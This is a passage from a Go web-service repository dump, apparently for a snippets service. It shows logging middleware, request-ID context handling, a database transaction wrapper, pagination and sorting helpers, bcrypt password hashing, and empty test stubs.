| "net/http" 5 | "time" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/log" 8 | routing "github.com/go-ozzo/ozzo-routing/v2" 9 | "github.com/go-ozzo/ozzo-routing/v2/access" 10 | ) 11 | 12 | func Handler(logger log.Logger) routing.Handler { 13 | return func(c *routing.Context) error { 14 | start := time.Now() 15 | rw := &access.LogResponseWriter{ResponseWriter: c.Response, Status: http.StatusOK} 16 | c.Response = rw 17 | // associate request ID request context 18 | ctx := c.Request.Context() 19 | ctx = log.WithRequest(ctx, c.Request) 20 | c.Request = c.Request.WithContext(ctx) 21 | err := c.Next() 22 | logger.With(ctx, "duration", time.Now().Sub(start).Milliseconds(), "status", rw.Status). 23 | Infof("%s %s %s %d %d", c.Request.Method, c.Request.URL.Path, c.Request.Proto, rw.Status, rw.BytesWritten) 24 | return err 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /pkg/datatype/bool.go: -------------------------------------------------------------------------------- 1 | package datatype 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | type FlexibleBool struct { 8 | Value bool 9 | String string 10 | } 11 | 12 | func (f *FlexibleBool) UnmarshalJSON(b []byte) error { 13 | if f.String = strings.Trim(string(b), `"`); f.String == "" { 14 | f.String = "false" 15 | } 16 | f.Value = f.String == "1" || strings.EqualFold(f.String, "true") 17 | return nil 18 | } 19 | -------------------------------------------------------------------------------- /pkg/datatype/test_bool.go: -------------------------------------------------------------------------------- 1 | package datatype 2 | 3 | import "testing" 4 | 5 | func TestBoolMain(t *testing.T) { 6 | 7 | } 8 | -------------------------------------------------------------------------------- /pkg/dbcontext/dbcontext.go: -------------------------------------------------------------------------------- 1 | package dbcontext 2 | 3 | import ( 4 | "context" 5 | 6 | dbx "github.com/go-ozzo/ozzo-dbx" 7 | ) 8 | 9 | type DB struct { 10 | db *dbx.DB 11 | } 12 | 13 | type TransactionFunc func(ctx context.Context, f func(ctx context.Context) error) error 14 | 15 | type contextKey int 16 | 17 | const ( 18 | txKey contextKey = iota 19 | ) 20 | 21 | func New(db *dbx.DB) *DB { 22 | return &DB{db} 23 | } 24 | 25 | func (db *DB) DB() *dbx.DB { 26 | return db.db 27 | } 28 | 29 | func (db *DB) With(ctx context.Context) dbx.Builder { 30 | if tx, ok := ctx.Value(txKey).(*dbx.Tx); ok { 31 | return tx 32 | } 33 | return db.db.WithContext(ctx) 34 | } 35 | -------------------------------------------------------------------------------- /pkg/log/log.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "context" 5 | "github.com/google/uuid" 6 | "go.uber.org/zap" 7 | "go.uber.org/zap/zapcore" 8 | "go.uber.org/zap/zaptest/observer" 9 | "net/http" 10 | ) 11 | 12 | const RequestId = "request_id" 13 | 14 | type Logger interface { 15 | // With returns a logger based off the root logger and decorates it with the given context and arguments. 16 | With(ctx context.Context, args ...interface{}) Logger 17 | // Debug uses fmt.Sprint to construct and log a message at DEBUG level 18 | Debug(args ...interface{}) 19 | // Info uses fmt.Sprint to construct and log a message at INFO level 20 | Info(args ...interface{}) 21 | // Error uses fmt.Sprint to construct and log a message at ERROR level 22 | Error(args ...interface{}) 23 | // Debugf uses fmt.Sprintf to construct and log a message at DEBUG level 24 | Debugf(format string, args ...interface{}) 25 | // Infof uses fmt.Sprintf to construct and log a message at INFO level 26 | Infof(format string, args ...interface{}) 27 | // Errorf uses fmt.Sprintf to construct and log a message at ERROR level 28 | Errorf(format string, args ...interface{}) 29 | } 30 | 31 | type logger struct { 32 | *zap.SugaredLogger 33 | } 34 | 35 | func New(outputPaths []string) Logger { 36 | config := zap.NewProductionConfig() 37 | config.OutputPaths = outputPaths 38 | z, _ := config.Build() 39 | 40 | return &logger{z.Sugar()} 41 | } 42 | 43 | func NewForTests() (Logger, *observer.ObservedLogs) { 44 | core, recorded := observer.New(zapcore.InfoLevel) 45 | z := zap.New(core) 46 | return &logger{z.Sugar()}, recorded 47 | } 48 | 49 | func (l logger) With(ctx context.Context, args ...interface{}) Logger { 50 | if ctx != nil { 51 | if id, ok := ctx.Value(RequestId).(string); ok { 52 | args = append(args, zap.String("request_id", id)) 53 | } 54 | } 55 | if len(args) > 0 { 56 | return &logger{l.SugaredLogger.With(args...)} 57 | } 58 | 59 | return l 60 | } 61 | 62 | func WithRequest(ctx context.Context, request *http.Request) context.Context { 63 | id := getRequestID(request) 64 | if id == "" { 65 | id = uuid.New().String() 66 | } 67 | ctx = context.WithValue(ctx, RequestId, id) 68 | 69 | return ctx 70 | } 71 | 72 | func getRequestID(req *http.Request) string { 73 | return req.Header.Get("X-Request-ID") 74 | } 75 | -------------------------------------------------------------------------------- /pkg/query/pagiantion_test.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestPaginationMain(t *testing.T) { 8 | } 9 | -------------------------------------------------------------------------------- /pkg/query/pagination.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | type Pagination interface { 4 | GetPage() int 5 | GetLimit() int 6 | GetOffset() int 7 | } 8 | 9 | type pagination struct { 10 | page int 11 | limit int 12 | } 13 | 14 | func NewPagination(page int, limit int) pagination { 15 | return pagination{page: page, limit: limit} 16 | } 17 | 18 | func (p pagination) GetPage() int { 19 | return p.page 20 | } 21 | 22 | func (p pagination) GetLimit() int { 23 | return p.limit 24 | } 25 | 26 | func (p pagination) GetOffset() int { 27 | return (p.page - 1) * p.limit 28 | } 29 | -------------------------------------------------------------------------------- /pkg/query/sort.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | type Sort interface { 4 | GetSortBy() string 5 | GetOrderBy() string 6 | } 7 | 8 | type sort struct { 9 | sortBy string 10 | orderBy string 11 | } 12 | 13 | func NewSort(sortBy string, orderBy string) Sort { 14 | return sort{sortBy, orderBy} 15 | } 16 | 17 | func (s sort) GetSortBy() string { 18 | return s.sortBy 19 | } 20 | 21 | func (s sort) GetOrderBy() string { 22 | return s.orderBy 23 | } 24 | -------------------------------------------------------------------------------- /pkg/query/sort_test.go: -------------------------------------------------------------------------------- 1 | package query 2 | 3 | import "testing" 4 | 5 | func TestSortMain(t *testing.T) { 6 | 7 | } 8 | -------------------------------------------------------------------------------- /pkg/security/hash.go: -------------------------------------------------------------------------------- 1 | package security 2 | 3 | import ( 4 | "golang.org/x/crypto/bcrypt" 5 | ) 6 | 7 | //GenerateHashFromPassword - ... 8 | func GenerateHashFromPassword(password string) (string, error) { 9 | hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost) 10 | return string(hash[:]), err 11 | } 12 | 13 | //CompareHashAndPassword - ... 14 | func CompareHashAndPassword(hash string, password string) bool { 15 | return bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil 16 | } 17 | -------------------------------------------------------------------------------- /tmp/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splendidalloy/cloud.snippets.ninja/54e68e86f1aa6ea4434e007ae91c7a347b2117d5/tmp/.gitkeep --------------------------------------------------------------------------------